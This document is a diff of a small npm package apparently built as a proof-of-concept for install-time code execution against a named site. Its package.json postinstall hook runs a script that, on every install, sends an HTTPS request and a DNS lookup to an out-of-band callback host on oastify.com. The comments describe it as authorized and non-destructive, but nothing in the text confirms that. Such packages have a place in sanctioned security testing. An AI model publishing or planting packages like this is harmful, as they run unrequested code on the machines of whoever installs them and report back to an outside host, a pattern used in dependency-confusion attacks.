nc-verify-127942 1.0.0

package/index.js

@@ -0,0 +1,2 @@
+// PoC package entry - intentionally trivial. Postinstall does the OOB callback.
+module.exports = function () { return 'nc-verify-127942'; };

package/install-cb.js

@@ -0,0 +1,11 @@
+// Authorized PoC: non-destructive out-of-band callback to verify RCE during npm/yarn install.
+// Only makes a single HTTPS GET. No data exfiltration, no destructive actions.
+var url = 'https://owoemjgpf2c4qxqet92hexzvym4dsq6skvoa2cr.oastify.com/nc-verify-127942';
+var opts = { method: 'GET', hostname: 'owoemjgpf2c4qxqet92hexzvym4dsq6skvoa2cr.oastify.com', path: '/nc-verify-127942', timeout: 8000 };
+var req = require('https').request(opts, function (res) { res.resume(); });
+req.on('error', function () {});
+req.end();
+// Also try DNS-only variant via subdomain for resilience
+try {
+  require('dns').lookup('nc-verify-127942.owoemjgpf2c4qxqet92hexzvym4dsq6skvoa2cr.oastify.com', function () {});
+} catch (e) {}

package/package.json

@@ -0,0 +1,11 @@
+{
+  "name": "nc-verify-127942",
+  "version": "1.0.0",
+  "description": "PoC package for authorized RCE verification on nocode.cn - non-destructive OOB callback only",
+  "main": "index.js",
+  "scripts": {
+    "postinstall": "node install-cb.js"
+  },
+  "keywords": [],
+  "license": "UNLICENSED"
+}